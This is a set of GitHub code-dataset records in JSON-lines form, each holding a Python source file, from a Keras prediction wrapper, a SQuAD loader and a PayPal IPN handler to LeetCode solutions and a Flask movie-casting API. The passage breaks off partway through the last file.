pd.DataFrame(lista)\ndataFrame.to_excel(\"outputposta.xlsx\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"JoaquinFioriti/Scraping-web-1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"309554837","text":"import os\nimport pickle\nimport numpy as np\n\n\nclass CustomModelPrediction(object):\n\n def __init__(self, model, processor):\n self._model = model\n self._processor = processor\n\n def _postprocess(self, predictions):\n labels = ['negative', 'positive']\n return [\n {\n 'label': labels[int(np.round(prediction))],\n 'score': float(np.round(prediction, 4))\n } for prediction in predictions]\n\n def predict(self, instances, **kwargs):\n preprocessed_data = self._processor.transform(instances)\n predictions = self._model.predict(preprocessed_data)\n labels = self._postprocess(predictions)\n return labels\n\n @classmethod\n def from_path(cls, model_dir):\n import tensorflow.keras as keras\n model = keras.models.load_model(\n os.path.join(model_dir, 'keras_saved_model.h5'))\n with open(os.path.join(model_dir, 'processor_state.pkl'), 'rb') as f:\n processor = pickle.load(f)\n\n return cls(model, processor)\n","repo_name":"gogasca/ml_pipeline","sub_path":"training/trainer/model_prediction.py","file_name":"model_prediction.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"41152048196","text":"import nibabel as nib\r\nimport os\r\n\r\n\r\ndata_path_T1GD = r'C:\\Users\\Administrator\\Desktop\\reg_tutorials\\code_data\\data\\jdm\\T1GD_left_right_up_down\\31'\r\ndata_path_TOF = r'C:\\Users\\Administrator\\Desktop\\reg_tutorials\\code_data\\data\\jdm\\TOF_left_right_front_back\\31'\r\n\r\nfilename_T1GD_left = os.path.join(data_path_T1GD, 'T1GD_left_ud.nii.gz')\r\nfilename_T1GD_right = os.path.join(data_path_T1GD, 'T1GD_right_ud.nii.gz')\r\nfilename_TOF_left = os.path.join(data_path_TOF, 'TOF_left_fb.nii.gz')\r\nfilename_TOF_right = os.path.join(data_path_TOF, 'TOF_right_fb.nii.gz')\r\nsave_T1GD_left = r'C:\\Users\\Administrator\\Desktop\\reg_tutorials\\code_data\\data\\jdm\\up_down_slicer\\31\\T1GD_left.nii.gz'\r\nsave_T1GD_right = r'C:\\Users\\Administrator\\Desktop\\reg_tutorials\\code_data\\data\\jdm\\up_down_slicer\\31\\T1GD_right.nii.gz'\r\nsave_TOF_left = r'C:\\Users\\Administrator\\Desktop\\reg_tutorials\\code_data\\data\\jdm\\up_down_slicer\\31\\TOF_left.nii.gz'\r\nsave_TOF_right = r'C:\\Users\\Administrator\\Desktop\\reg_tutorials\\code_data\\data\\jdm\\up_down_slicer\\31\\TOF_right.nii.gz'\r\n\r\nimg_T1GD_left = nib.load(filename_T1GD_left)\r\nimg_T1GD_right = nib.load(filename_T1GD_right)\r\nimg_TOF_left = nib.load(filename_TOF_left)\r\nimg_TOF_right = nib.load(filename_TOF_right)\r\nimg_T1GD_left_get_data = img_T1GD_left.get_data()\r\nimg_T1GD_right_get_data = img_T1GD_right.get_data()\r\nimg_TOF_left_get_data = img_TOF_left.get_data()\r\nimg_TOF_right_get_data = img_TOF_right.get_data()\r\nhdr_T1GD_left = img_T1GD_left.header.copy()\r\nhdr_T1GD_right = img_T1GD_right.header.copy()\r\nhdr_TOF_left = img_TOF_left.header.copy()\r\nhdr_TOF_right = img_TOF_right.header.copy()\r\naffine_T1GD_left = img_T1GD_left.affine.copy()\r\naffine_T1GD_right = img_T1GD_right.affine.copy()\r\naffine_TOF_left = img_TOF_left.affine.copy()\r\naffine_TOF_right = img_TOF_right.affine.copy()\r\n\r\n\r\ndef t1gd_up_down_cat(input_image):\r\n data = input_image.get_data()\r\n hdr = input_image.header.copy()\r\n affine = input_image.affine.copy()\r\n output = nib.Nifti1Image(data[:, data.shape[1] - 166:data.shape[1] - 26, :], affine=affine, header=hdr)\r\n return output\r\n\r\n\r\ndef tof_up_down_cat(input_image):\r\n data = input_image.get_data()\r\n hdr = input_image.header.copy()\r\n affine = input_image.affine.copy()\r\n correct = 63\r\n affine[2][3] = affine[2][2] * correct + affine[2][3]\r\n output = nib.Nifti1Image(data[:, :, data.shape[2] - 181:data.shape[2] - 41], affine=affine, header=hdr)\r\n return output\r\n\r\n\r\nimg_T1GD_left_cat, img_T1GD_right_cat = t1gd_up_down_cat(img_T1GD_left), t1gd_up_down_cat(img_T1GD_right)\r\n\r\nimg_TOF_left_cat, img_TOF_right_cat = tof_up_down_cat(img_TOF_left), tof_up_down_cat(img_TOF_right)\r\nnib.save(img_T1GD_left_cat, save_T1GD_left)\r\nnib.save(img_T1GD_right_cat, save_T1GD_right)\r\nnib.save(img_TOF_left_cat, save_TOF_left)\r\nnib.save(img_TOF_right_cat, save_TOF_right)\r\nprint('finish')\r\n","repo_name":"MingHan98/Cross-scale-Siamese-Unet","sub_path":"labelreg/T1GD_TOF_up_down_cat.py","file_name":"T1GD_TOF_up_down_cat.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"4123025264","text":"import os, copy\r\nimport json\r\nimport nltk\r\nimport torch\r\nfrom torchtext import data\r\nfrom torchtext import datasets\r\nfrom torchtext.vocab import GloVe\r\nimport time\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch import nn, optim\r\nimport utils as utils\r\n\r\ndef word_tokenize(tokens):\r\n return [token.replace(\"''\", '\"').replace(\"``\", '\"') for token in nltk.word_tokenize(tokens)]\r\n\r\n\r\nclass DataSet(object):\r\n def __init__(self, path, save_path, batch_size, dev, word_dim):\r\n #if not os.path.exists(f'{path}l'):\r\n self.batch_size = batch_size\r\n self.preprocess_file(f'{path}')\r\n \r\n self.RAW = data.RawField()\r\n self.RAW.is_target = False\r\n self.WORD = data.Field(batch_first=True, tokenize=word_tokenize, include_lengths=True)\r\n self.LABEL = data.Field(sequential=False, unk_token=None, use_vocab=False)\r\n\r\n dict_fields = {'id': ('id', self.RAW),\r\n 's_idx': ('s_idx', self.LABEL),\r\n 'e_idx': ('e_idx', self.LABEL),\r\n 'context': ('c_word', self.WORD),\r\n 'question': ('q_word', self.WORD)}\r\n\r\n list_fields = [('id', self.RAW), ('s_idx', self.LABEL), ('e_idx', self.LABEL),\r\n ('c_word', self.WORD), ('q_word', self.WORD)]\r\n\r\n print(\"building splits...\")\r\n self.train, self.dev = data.TabularDataset.splits(\r\n path=save_path,\r\n train=f'{path}l',\r\n validation=f'{path}l',\r\n format='json',\r\n fields=dict_fields)\r\n\r\n print(\"building vocab...\")\r\n self.WORD.build_vocab(self.train, vectors=GloVe(name='42B', dim=word_dim))\r\n\r\n print(\"building iterators...\")\r\n self.train_iter, self.dev_iter = \\\r\n data.BucketIterator.splits((self.train, self.dev),\r\n batch_sizes=[batch_size, batch_size],\r\n device=dev,\r\n sort_key=lambda x: len(x.c_word)) \r\n \r\n def print_vocab_by_number(self, it):\r\n print(\"for word '{0}' we have {1} embedding vector: {2}\".format(self.WORD.vocab.itos[it], len(self.WORD.vocab.vectors[it]),self.WORD.vocab.vectors[it]))\r\n \r\n def print_train_data(self): \r\n for it in enumerate(self.data):\r\n print(it)\r\n \r\n def preprocess_file(self, path):\r\n self.data = []\r\n abnormals = [' ', '\\n', '\\u3000', '\\u202f', '\\u2009']\r\n\r\n cnt = 0\r\n with open(path, 'r', encoding='utf-8') as f:\r\n data = json.load(f)\r\n data = data['data']\r\n\r\n for article in data:\r\n for paragraph in article['paragraphs']:\r\n context = paragraph['context']\r\n tokens = word_tokenize(context)\r\n \r\n for qa in paragraph['qas']:\r\n id = qa['id']\r\n question = qa['question']\r\n for ans in qa['answers']:\r\n answer = ans['text']\r\n s_idx = ans['answer_start']\r\n \r\n e_idx = s_idx + len(answer)\r\n\r\n l = 0\r\n s_found = False\r\n for i, t in enumerate(tokens):\r\n while l < len(context):\r\n if context[l] in abnormals:\r\n l += 1\r\n else:\r\n break\r\n # exceptional cases\r\n if t[0] == '\"' and context[l:l + 2] == '\\'\\'':\r\n t = '\\'\\'' + t[1:]\r\n elif t == '\"' and context[l:l + 2] == '\\'\\'':\r\n t = '\\'\\''\r\n\r\n l += len(t)\r\n if l > s_idx and s_found == False:\r\n s_idx = i\r\n s_found = True\r\n if l >= e_idx:\r\n e_idx = i\r\n break\r\n\r\n self.data.append(dict([('id', id),\r\n ('context', context),\r\n ('question', question),\r\n ('answer', answer),\r\n ('s_idx', s_idx),\r\n ('e_idx', e_idx)]))\r\n \r\n cnt = cnt + 1\r\n if (cnt >= self.batch_size):\r\n break\r\n\r\n if (cnt >= self.batch_size):\r\n break\r\n \r\n if (cnt >= self.batch_size):\r\n break\r\n \r\n if (cnt >= self.batch_size):\r\n break\r\n \r\n with open(f'{path}l', 'w', encoding='utf-8') as f:\r\n for line in self.data:\r\n json.dump(line, f)\r\n print('', file=f)\r\n","repo_name":"VetaMaximova/ML_NLP","sub_path":"word_embeddings/source_code/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28502000221","text":"# 208. Implement Trie (Prefix Tree)\n# Implement a trie with insert, search, and startsWith methods.\n\n# Example:\n# Trie trie = new Trie();\n# trie.insert(\"apple\");\n# trie.search(\"apple\"); // returns true\n# trie.search(\"app\"); // returns false\n# trie.startsWith(\"app\"); // returns true\n# trie.insert(\"app\");\n# trie.search(\"app\"); // returns true\n# Note:\n\n# You may assume that all inputs are consist of lowercase letters a-z.\n# All inputs are guaranteed to be non-empty strings.\n\nclass Trie:\n def __init__(self):\n self.root = {\"leaf\": False, \"children\": {}}\n\n def insert(self, word: str) -> None:\n node = self.root\n for letter in word:\n if letter in node[\"children\"]: node = node[\"children\"][letter]\n else:\n node[\"children\"][letter] = {\"leaf\": False, \"children\": {}}\n node = node[\"children\"][letter]\n node[\"leaf\"] = True\n\n def search(self, word: str) -> bool:\n node = self.findNode(word)\n return node[\"leaf\"] if node is not None else False\n\n def startsWith(self, prefix: str) -> bool:\n return self.findNode(prefix) is not None\n\n def findNode(self, prefix: str):\n node = self.root\n for letter in prefix:\n if letter not in node[\"children\"]: return None\n else: node = node[\"children\"][letter]\n return node\n\ntrie = Trie()\nprint(\"False\", trie.search(\"wre\"))\ntrie.insert(\"apple\")\nprint(\"True\", trie.search(\"apple\"))\nprint(\"False\", trie.search(\"app\"))\nprint(\"True\", trie.startsWith(\"app\"))\ntrie.insert(\"app\")\nprint(\"True\", trie.search(\"app\"))","repo_name":"DmitryVlaznev/leetcode","sub_path":"208-implement-trie-prefix-tree.py","file_name":"208-implement-trie-prefix-tree.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"29540953542","text":"def aggregate_to_state(df_to_be_aggregated, Bundesland, Bundesland_short):\n '''\n Adds the daily new Covid-19 cases for a specific German state to df_Covid in a new column.\n I.e., it aggregates the raw data on new Covid-19 cases from RKI by day and on state level\n and filters the numbers of the state specified.\n Daily numbers are then sorted in ascending order.\n A column is added with the 7-day moving average\n\n Arguments: name of dataframe to be aggregated, name of Bundesland and abbreviation of Bundesland as strings\n\n Output: dataframe\n '''\n df = df_to_be_aggregated.groupby(['Date', 'Bundesland']).AnzahlFall.agg(['sum']).reset_index().sort_values(['Date', 'Bundesland'],ascending=[True, True]).rename(columns = {'sum':'New_Covid19_cases'+'_'+Bundesland_short}).copy()\n df_Bundesland = df.loc[df['Bundesland'] == Bundesland].copy()\n # create 7-days moving average (with 1 day time lag to account for reporting delays)\n df_Bundesland.set_index(\"Date\", inplace=True)\n df_Bundesland = df_Bundesland.sort_index().asfreq('D')\n df_Bundesland['New_Covid19_cases_' + Bundesland_short] = df_Bundesland['New_Covid19_cases_' + Bundesland_short].fillna(0)\n df_Bundesland['Shift_1'] = df_Bundesland['New_Covid19_cases_' + Bundesland_short].shift(1).fillna(0)\n df_Bundesland['nCovid_av_' + Bundesland_short] = df_Bundesland['Shift_1'].rolling(window=7).mean().fillna(0)\n del df_Bundesland['Bundesland'], df_Bundesland['Shift_1']\n\n return df_Bundesland\n\n\ndef aggregate_to_LK(df_to_be_aggregated, Landkreis, Landkreis_short):\n '''\n Adds the daily new Covid-19 cases for a specific German Landkreis to df_Covid in a new column.\n I.e., it aggregates the raw data on new Covid-19 cases from RKI by day and on state level\n and filters the numbers of the state specified.\n Daily numbers are then sorted in ascending order.\n A column is added with the 7-day moving average\n\n Arguments: name of dataframe to be aggregated, name of Landkreis and abbreviation of Landkreis as strings\n\n Output: dataframe\n '''\n df = df_to_be_aggregated.groupby(['Date', 'Landkreis']).AnzahlFall.agg(['sum']).reset_index().sort_values(['Date', 'Landkreis'],ascending=[True, True]).rename(columns = {'sum':'New_Covid19_cases'+'_'+Landkreis_short}).copy()\n df_Landkreis = df.loc[df['Landkreis'] == Landkreis].copy()\n # create 7-days moving average (with 1 day time lag to account for reporting delays)\n df_Landkreis.set_index(\"Date\", inplace=True)\n df_Landkreis = df_Landkreis.sort_index().asfreq('D')\n df_Landkreis['New_Covid19_cases_' + Landkreis_short] = df_Landkreis['New_Covid19_cases_' + Landkreis_short].fillna(0)\n df_Landkreis['Shift_1'] = df_Landkreis['New_Covid19_cases_' + Landkreis_short].shift(1).fillna(0)\n df_Landkreis['nCovid_av_' + Landkreis_short] = df_Landkreis['Shift_1'].rolling(window=7).mean().fillna(0)\n del df_Landkreis['Landkreis'], df_Landkreis['Shift_1']\n\n return df_Landkreis\n","repo_name":"ngroene/Covid19_Germany","sub_path":"src/aggregation_functions.py","file_name":"aggregation_functions.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"796191891","text":"from hashlib import sha1\n\ndef _and_with_padding(x, mask):\n ret = hex(x & mask).split('x')[1]\n if len(ret) < 2:\n ret = '0' + ret\n return ret\n\ndef string_to_color(string, mask=0xFE):\n x = int(sha1(string).hexdigest()[:6], 16)\n remainder, b = divmod(x, 256)\n r, g = divmod(remainder, 256)\n return ''.join(_and_with_padding(color, mask) for color in (r, g, b))","repo_name":"volker48/hashcolor","sub_path":"hashcolor/hashing.py","file_name":"hashing.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"72862372534","text":"# Design a data structure that is initialized with a list of different words. Provided a string, you should determine if you can change exactly one character in this string to match any word in the data structure.\n\n# Implement the MagicDictionary class:\n\n# MagicDictionary() Initializes the object.\n# void buildDict(String[] dictionary) Sets the data structure with an array of distinct strings dictionary.\n# bool search(String searchWord) Returns true if you can change exactly one character in searchWord to match any string in the data structure, otherwise returns false.\n\n \n\n# Example 1:\n\n# Input\n# [\"MagicDictionary\", \"buildDict\", \"search\", \"search\", \"search\", \"search\"]\n# [[], [[\"hello\", \"leetcode\"]], [\"hello\"], [\"hhllo\"], [\"hell\"], [\"leetcoded\"]]\n# Output\n# [null, null, false, true, false, false]\n\n# Explanation\n# MagicDictionary magicDictionary = new MagicDictionary();\n# magicDictionary.buildDict([\"hello\", \"leetcode\"]);\n# magicDictionary.search(\"hello\"); // return False\n# magicDictionary.search(\"hhllo\"); // We can change the second 'h' to 'e' to match \"hello\" so we return True\n# magicDictionary.search(\"hell\"); // return False\n# magicDictionary.search(\"leetcoded\"); // return False\n\n \n\n# Constraints:\n\n# 1 <= dictionary.length <= 100\n# 1 <= dictionary[i].length <= 100\n# dictionary[i] consists of only lower-case English letters.\n# All the strings in dictionary are distinct.\n# 1 <= searchWord.length <= 100\n# searchWord consists of only lower-case English letters.\n# buildDict will be called only once before search.\n# At most 100 calls will be made to search.\n\nclass MagicDictionary:\n\n def __init__(self):\n self.trie = Trie()\n\n def buildDict(self, dictionary: List[str]) -> None:\n for word in dictionary:\n self.trie.insert(word)\n\n def search(self, searchWord: str) -> bool:\n \n def dfs(node, i, word):\n \n if i == len(word):\n return node.isEnd and self.modified\n \n if self.modified:\n if word[i] in node.children:\n return dfs(node.children[word[i]], i+1,word)\n else:\n return False\n else:\n for c in node.children:\n self.modified = c != word[i]\n if dfs(node.children[c],i+1,word):\n return True\n return False\n \n self.modified = False\n return dfs(self.trie.root,0,searchWord)\n \nclass Trie:\n \n def __init__(self):\n self.root = TrieNode()\n \n def insert(self,word):\n node = self.root\n for char in word:\n node = node.children.setdefault(char,TrieNode())\n node.isEnd = True\n \nclass TrieNode:\n \n def __init__(self):\n self.children = {}\n self.isEnd = False\n\n# Space complexity is O(M + N) Where M is the length of all the words in the dictionary and N is the length of the searchWord.\n# The recursion stack for the DFS will be at most N high during traversal\n\n# Time complexity is O(N + M)\n\n# alternative solution using just a dictionary\n\n# the key in the dictionary is a word length and the value is a list of words in the dictionary of that length\nclass MagicDictionary:\n\n def __init__(self):\n self.dic = {}\n\n def buildDict(self, dictionary: List[str]) -> None:\n for word in dictionary:\n self.dic[len(word)] = self.dic.get(len(word),[]) + [word]\n\n def search(self, searchWord: str) -> bool:\n \n for candidate in self.dic.get(len(searchWord),[]):\n diff = 0\n for i in range (len(searchWord)):\n if candidate[i] != searchWord[i]:\n diff += 1\n if diff == 1:\n return True\n return False\n\n\n","repo_name":"conor47/Algorithm-Patterns","sub_path":"General Problems/Trie/magicDictionary.py","file_name":"magicDictionary.py","file_ext":"py","file_size_in_byte":3861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32854444431","text":"from corehq.apps.commtrack.const import RequisitionActions\nfrom corehq.apps.commtrack.requisitions import create_requisition\nfrom custom.openlmis.commtrack import requisition_receipt\nfrom custom.openlmis.tests.base import OpenLMISTestBase\n\nclass ConfirmDeliveryTest(OpenLMISTestBase):\n\n def fixmetestConfirmDelivery(self):\n from corehq.apps.commtrack.stockreport import Requisition\n requisition_cases = []\n config = self.domain.commtrack_settings\n for spp in self.spps.values():\n transaction = Requisition(\n config=config,\n product_id=spp.product,\n case_id=spp._id,\n action_name=config.get_action_by_type(RequisitionActions.REQUEST).action_name,\n value=20,\n )\n req = create_requisition(self.user._id, spp, transaction)\n requisition_cases.append(req)\n self.assertTrue(requisition_receipt.send(sender=None, requisitions=requisition_cases))\n","repo_name":"gmimano/commcaretest","sub_path":"custom/openlmis/tests/test_confirm_delivery.py","file_name":"test_confirm_delivery.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73534729334","text":"import Gamepad\nimport subprocess\n\n\ndef listener():\n\n gamepad = Gamepad.Gamepad()\n\n if Gamepad.available():\n gamepad = Gamepad.Gamepad()\n else:\n print('Controller not connected :(')\n\n\n keys = []\n while True:\n event = gamepad.getNextEvent()\n if event[1] in [6,7,10,11] and event[0]=='BUTTON':\n if event[2]==True:\n keys.append(event[1])\n if event[1] in [6,7,10,11] and event[0]=='BUTTON':\n if event[2]==False and event[1] in keys:\n keys.remove(event[1])\n keys.sort()\n if keys==[6,7,10,11]:\n pidd = ''\n result = subprocess.run(['ps', '-a'], capture_output=True, text=True).stdout\n for item in result.split(\"\\n\"):\n if \"snes9x\" in item:\n pidd = item.split(' ')\n if pidd[0]=='':\n pidd = pidd[1]\n else:\n pidd = pidd[0]\n subprocess.run(['kill', pidd])\n","repo_name":"alosrafas1213/Retro_Gaming_Console","sub_path":"ConsoleGUI/inputListener.py","file_name":"inputListener.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"692105029","text":"import requests\nimport json\nimport random as ran\nimport html\nprint ('You gonna play quiz now!')\ninput ('To start on \"Easy\" press enter:')\ncounter = 0\nwhile True:\n print ('-----------------------------------')\n r = requests.get ('https://opentdb.com/api.php?amount=1&difficulty=easy')\n if (r.status_code != 200):\n print ('Sorry, server is unavailable, check your connection and re-execute code!')\n break\n questik = json.loads (r.text)\n quest = questik['results']\n q = quest[0]\n print ('Category is ' + '\"' + html.unescape(q['category']) + '\"' + '.')\n print ('Your question is: \\n' + html.unescape(q['question']))\n if q['type'] == 'boolean':\n ans = input ('\\nIf you agree type \"True\", either type \"False\": ')\n if ans == html.unescape(q['correct_answer']):\n print ('You are absolutely right!')\n counter += 1\n else:\n print ('Oh no! It is incorrect answer, go to next question.')\n else:\n answers = html.unescape(q['incorrect_answers'])\n place = ran.randint(0, len(answers))\n answers.insert(place, html.unescape(q['correct_answer']))\n print ('\\nHere are available answers:')\n keks = 0\n for answer in answers:\n keks += 1\n print (str(keks) + ' - ' + html.unescape(answer))\n ans = input ('\\nChoose the number of the correct answer: ')\n if int(ans) - 1 == place:\n print ('You are absolutely right!')\n counter += 1\n else:\n print ('Oh no! It is incorrect answer, the correct was : ' + str(place + 1) + ' - ' + html.unescape(q['correct_answer']) + '.')\n print ('Your score now is: ' + str(counter))\n go = input ('To continue press enter. If you want to stop - type \"stop\": ')\n if go.lower() == 'stop':\n break\n\n \n \n \n","repo_name":"eemeetu/lepy","sub_path":"Basics/quiss.py","file_name":"quiss.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33570350272","text":"from flask import Blueprint, request, current_app\nfrom werkzeug.datastructures import ImmutableOrderedMultiDict\nfrom models.pedidos import PedidosModel\nfrom models.guitarras import GuitarrasModel\nfrom models.bajos import BajosModel\n\n'''This module processes PayPal Instant Payment Notification messages (IPNs).'''\nfrom flask import current_app as app\nimport requests, calendar, datetime\nimport urllib.parse\n\npaypal_ipn = Blueprint('paypal_ipn', __name__)\n\n@paypal_ipn.route(\"/paypal_ipn\", methods=['POST'])\ndef paypal_ipn2():\n arg = ''\n request.parameter_storage_class = ImmutableOrderedMultiDict\n values = request.form\n\n headers = {'content-type': 'application/x-www-form-urlencoded', 'user-agent': 'Python-IPN-Verification-Script'}\n for x, y in values.items():\n aux = {x: y}\n arg += '&' + urllib.parse.urlencode(aux)\n validate_url = 'https://ipnpb.sandbox.paypal.com/cgi-bin/webscr?cmd=_notify-validate{arg}' \\\n .format(arg=arg)\n r = requests.post(validate_url, headers=headers)\n\n if r.text == 'VERIFIED':\n app.logger.warning(\"VERIFIED\")\n #Serial number generator. 0418001-> 04 (Aprl)/ 18 (Year)/ 001 (Number of guitar made that month)\n lastPedido = PedidosModel.find_last()\n if lastPedido:\n serial = lastPedido.numero_serie\n if serial.__len__() < 7:\n serial='0101001'\n month = int(serial[0]+serial[1])\n year = int(\"20\"+serial[2]+serial[3])\n num = int(serial[4]+serial[5]+serial[6])\n\n\n today=datetime.date.today()\n\n if today.year == year:\n newYear = today.year - 2000\n if today.month == month:\n newMonth = today.month\n newNum = num+1\n elif today.month>month:\n newMonth = today.month\n newNum=1\n elif today.year > year:\n newYear = today.year - 2000\n newMonth = today.month\n newNum = 1\n\n newMonth=newMonth.__str__()\n newYear=newYear.__str__()\n newNum=newNum.__str__()\n\n if len(newMonth)==1:\n newMonth = \"0\"+newMonth\n if len(newNum)==1:\n newNum = \"00\"+newNum\n elif len(newNum)==2:\n newNum = \"0\"+newNum\n numero_serie = newMonth+newYear+newNum\n #Couldn't find the last order, so we don't have anything to compare to\n else:\n numero_serie= \"0110001\"\n\n #se pueden pasar valores extra en el form del boton del paypal\n custom = values['custom']\n\n producto=custom.split('&')[0].split('=')[1]\n modelo = custom.split('&')[1].split('=')[1]\n\n if producto==\"bajo\":\n mymodelo = BajosModel.find_by_name(modelo)\n elif producto==\"guitarra\":\n mymodelo = GuitarrasModel.find_by_name(modelo)\n\n if mymodelo:\n acabado= mymodelo.acabado\n pastillas= mymodelo.pastillas\n puente= mymodelo.puente\n electronica= mymodelo.electronica\n clavijero= mymodelo.clavijero\n else:\n acabado=\"error, no se ha conseguido recoger los datos del modelo\"\n pastillas=\"error\"\n puente=\"error\"\n electronica=\"error\"\n clavijero=\"error\"\n\n nombre= (values['address_name'])\n direccion= (values['address_street']+', '+values['address_city']+', '+values['address_zip']+', '\n +values['address_state']+', '+values['address_country'])\n\n if 'contact_phone' in values:\n telefono=values['contact_phone']\n else:\n telefono=\"000000000\"\n email=values['payer_email']\n\n\n precio_neto=float(values['mc_gross'])\n if 'tax' in values:\n impuesto=float(values['tax'])\n else:\n impuesto=0.00\n\n if 'shipping' in values:\n envio = float(values['shipping'])\n else:\n envio=0.00\n comision_paypal = float(values['mc_fee'])\n\n precio=(precio_neto-comision_paypal-envio-impuesto).__str__()\n\n fecha = datetime.datetime.now().__str__()\n\n observaciones=\"Campo para rellenar con observaciones\"\n\n pago_id=values['txn_id']\n\n if values['payer_status']=='verified':\n if 'invoice' in values:\n factura=values['invoice']\n else:\n factura=\"0000\"\n else:\n if 'receipt_id' in values:\n factura=values['receipt_id']\n else:\n factura = \"0000\"\n\n mypedido = PedidosModel(pago_id,factura,numero_serie,modelo,acabado,pastillas,puente,electronica,clavijero,\n nombre,direccion,telefono,email,\n precio,fecha,observaciones)\n #app.logger.warning(mypedido)\n print(mypedido)\n mypedido.insert_to_db()\n\n else:\n app.logger.warning(\"INVALID\")\n return r.text\n","repo_name":"leza1313/flask_cayman","sub_path":"paypal_ipn.py","file_name":"paypal_ipn.py","file_ext":"py","file_size_in_byte":5022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9815253482","text":"# Prompts the user for a strictly positive number N\n# and outputs an equilateral triangle of height N.\n# The top of the triangle (line 1) is labeled with the letter A.\n# For all nonzero p < N, line p+1 of the triangle is labeled\n# with letters that go up in alphabetical order modulo 26\n# from the beginning of the line to the middle of the line,\n# starting wth the letter that comes next in alphabetical order\n# modulo 26 to the letter in the middle of line p,\n# and then down in alphabetical order modulo 26\n# from the middle of the line to the end of the line.\nimport sys\n\n# Insert your code here\ntry:\n n=int(input('Input a strictly positive number:'))\nexcept TypeError:\n print('Incorrect input,giving up.')\n sys.exit()\nif n <=0:\n print('Incorrect input,giving up.')\n sys.exit()\ndef produce_str(n,mode=1):\n s=''\n if mode==1:\n for i in range(n-1):\n s +=chr(int((((n-1)*n)/2)+i)%26+65)\n if mode==-1:\n for i in range(n):\n s = chr(int((((n-1)*n)/2)+i)%26+65)+s\n return s\nfor i in range(1,n+1):\n zero_str=' '*(n-i)\n left_str=produce_str(i,1)\n right_str=produce_str(i,-1)\n string=zero_str+left_str+right_str\n print(string)\n","repo_name":"Jerenyaoyelu/Python-Programming---COMP9021","sub_path":"challenges/11/characters_triangle.py","file_name":"characters_triangle.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"6809657387","text":"import os\nfrom flask import Flask, request, abort, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nfrom auth import AuthError, requires_auth\nfrom models import setup_db, Movie, Actor\n\n\ndef create_app(test_config=None):\n app = Flask(__name__)\n CORS(app)\n setup_db(app)\n\n @app.route('/')\n def greeting():\n return jsonify({\n 'message': 'Hello World - The API is up!', 'success': True\n })\n\n @app.route('/movies', methods=['GET'])\n @requires_auth('get:movies')\n def get_movies(jwt):\n movies = Movie.query.all()\n if len(movies) == 0:\n abort(404)\n movie_list = [item.format() for item in movies]\n return jsonify({\n 'success': True, 'movies': movie_list\n })\n\n @app.route('/movies/', methods=['GET'])\n @requires_auth('get:movies')\n def get_single_movie(jwt, movie_id):\n movie = Movie.query.filter(Movie.id == movie_id).one_or_none()\n if movie is None:\n abort(404)\n return jsonify({\n 'success': True, 'movies': [movie.format()]\n })\n\n @app.route('/actors', methods=['GET'])\n @requires_auth('get:actors')\n def get_actors(jwt):\n actors = Actor.query.all()\n if len(actors) == 0:\n abort(404)\n actor_list = [item.format() for item in actors]\n return jsonify({\n 'success': True, 'actors': actor_list\n })\n\n @app.route('/actors/', methods=['GET'])\n @requires_auth('get:actors')\n def get_single_actor(jwt, actor_id):\n actor = Movie.query.filter(Actor.id == actor_id).one_or_none()\n if actor is None:\n abort(404)\n return jsonify({\n 'success': True, 'actors': [actor.format()]\n })\n\n @app.route('/movies/', methods=['DELETE'])\n @requires_auth('delete:movies')\n def delete_movie(jwt, movie_id):\n movie = Movie.query.filter(Movie.id == movie_id).one_or_none()\n if movie is None:\n abort(404)\n old_data = movie.format()\n try:\n movie.delete()\n return jsonify({'success': True,\n 'previous_data': old_data,\n 'deleted_id': movie_id})\n except BaseException:\n abort(422)\n\n @app.route('/actors/', methods=['DELETE'])\n @requires_auth('delete:actors')\n def delete_actor(jwt, actor_id):\n actor = Actor.query.filter(Actor.id == actor_id).one_or_none()\n if actor is None:\n abort(404)\n old_data = actor.format()\n try:\n actor.delete()\n return jsonify({'success': True,\n 'previous_data': old_data,\n 'deleted_id': actor_id})\n except BaseException:\n abort(422)\n\n @app.route('/movies', methods=['POST'])\n @requires_auth('post:movies')\n def add_movie(jwt):\n data = request.get_json()\n if data is None or len(str(data['title']).strip()) == 0:\n abort(400)\n try:\n new_movie = Movie(\n title=str(data['title']), release_date=data['release_date']\n )\n new_movie.insert()\n return jsonify({\n 'success': True, 'data': new_movie.format()\n })\n except BaseException:\n abort(422)\n\n @app.route('/actors', methods=['POST'])\n @requires_auth('post:actors')\n def add_actor(jwt):\n data = request.get_json()\n # will allow gender to be anything - TBD by project owner\n if len(str(data['name']).strip()) == 0 or data is None:\n abort(400)\n try:\n if int(data['age']) <= 0:\n abort(400)\n except BaseException:\n 